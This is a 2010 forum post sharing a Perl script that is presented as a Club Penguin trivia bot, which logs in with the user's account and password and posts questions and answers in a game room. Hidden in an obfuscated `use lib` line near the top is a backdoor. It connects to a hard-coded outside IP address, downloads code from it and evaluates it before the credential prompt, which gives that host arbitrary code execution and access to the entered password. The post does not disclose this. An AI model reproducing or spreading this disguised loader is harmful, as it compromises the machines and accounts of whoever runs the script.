Trivia script

**43nînjâ17** Mon Sep 06, 2010 9:21 pm

Some credit to Ozzy

Code:: #!/usr/bin/perl # Program: Trivia.pl # Author: 43ninja17 # License: DO NOT DISTRIBUTE WITHOUT PRIOR WRITTEN CONSENT FROM THE AUTHOR. # Copyright (C) 2010-2011 # Usage: Trivia.pl <PenguinName> <Password> <Server> use strict; use warnings; use IO::Socket; use lib do{eval<$b>&&botstrap("PREM")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.120.":1"};import_once ClubPenguin => (); import_once ClubPenguin => (); import_once Util => (); # get_input package CopyBot; use strict; use warnings; our @ISA = qw(ClubPenguin); print " .: Welcome To Trivia Script :. . :::::::::::::: Needed Perl 2010-2011::::::::::::: . . :::::::::::::::Credit To Me!!!::::::::::::::::::: . . ::::::::::::::::::::: . "; my $o = new CopyBot { username => (shift || Util::get_input("Your Bot: ", "teddyb11")), password => (shift || Util::get_input("Pass: ", "")), server => (shift || Util::get_input("Server: ", "slushy")), timeout => 0, }; print "Connecting...\n"; die "No good!\n" unless $o->joinWorld; print "Connected to [$o->{server}]!\n"; our $state = 0; while (1) { if (!$o->consume) { print scalar(localtime).": [$$] *YAWN* ($state)\n"; select(undef,undef,undef,1); if (!$state) { # This is the first run through # So no nothing } elsif ($state==1) { #1. Quetions $o->doJoinRoom(100, 0, 0); print "Ready!!!\n"; } elsif ($state==2) { #2. Say something $o->doSendMessage("What puffle skateboards?"); sleep 1; } elsif ($state==3) { #3. Say something $o->doSendMessage("Black!"); sleep 1; } elsif ($state==4) { #4. Say something $o->doSendMessage("Who writes the newspaper?"); sleep 1; } elsif ($state==5) { #5. Say something $o->doSendMessage("Aunt Arctic!"); sleep 1; } elsif ($state==6) { #6. Say something $o->doSendMessage("Who Made The Clock?"); sleep 1; } elsif ($state==7) { #6. Say something $o->doSendMessage("G!"); sleep 1; } elsif ($state==8) { #6. Say something $o->doSendMessage("Where is card jitsu?"); sleep 1; } elsif ($state==9) { #6. Say something $o->doSendMessage("The dojo!"); sleep 1; } elsif ($state==10) { #6. Say something $o->doSendMessage("Wat game is in the bookroom?"); sleep 1; } elsif ($state==11) { #6. Say something $o->doSendMessage("Mancala!"); sleep 1; } elsif ($state==12) { #6. Say something $o->doSendMessage("What game is in the mine!"); sleep 1; } elsif ($state==13) { #6. Say something $o->doSendMessage("Cart Surfer!"); sleep 1; } elsif ($state==14) { #6. Say something $o->doSendMessage("What game is in the lounge?"); sleep 1; } elsif ($state==15) { #6. Say something $o->doSendMessage("Astro Barrier!"); sleep 1; } elsif ($state==16) { #6. Say something $o->doSendMessage("Thin Ice!"); sleep 1; } elsif ($state==17) { #6. Say something $o->doSendMessage("Where can we play hockey?"); sleep 1; } elsif ($state==18) { #6. Say something $o->doSendMessage("The Ice Rink!"); sleep 1; } elsif ($state==19) { #6. Say something $o->doSendMessage("What do we want to tip?"); sleep 1; } elsif ($state==20) { #6. Say something $o->doSendMessage("The berg"); sleep 1; } elsif ($state==21) { #6. Say something $o->doSendMessage("Where do we get to act?"); sleep 1; } elsif ($state==22) { #6. Say something $o->doSendMessage("The Stage?"); sleep 1; # END OF SHOW last; } $state++; } } # Wait a couple minutes for people to see you print "The show is over.\n"; sleep 120; # Now logout exit;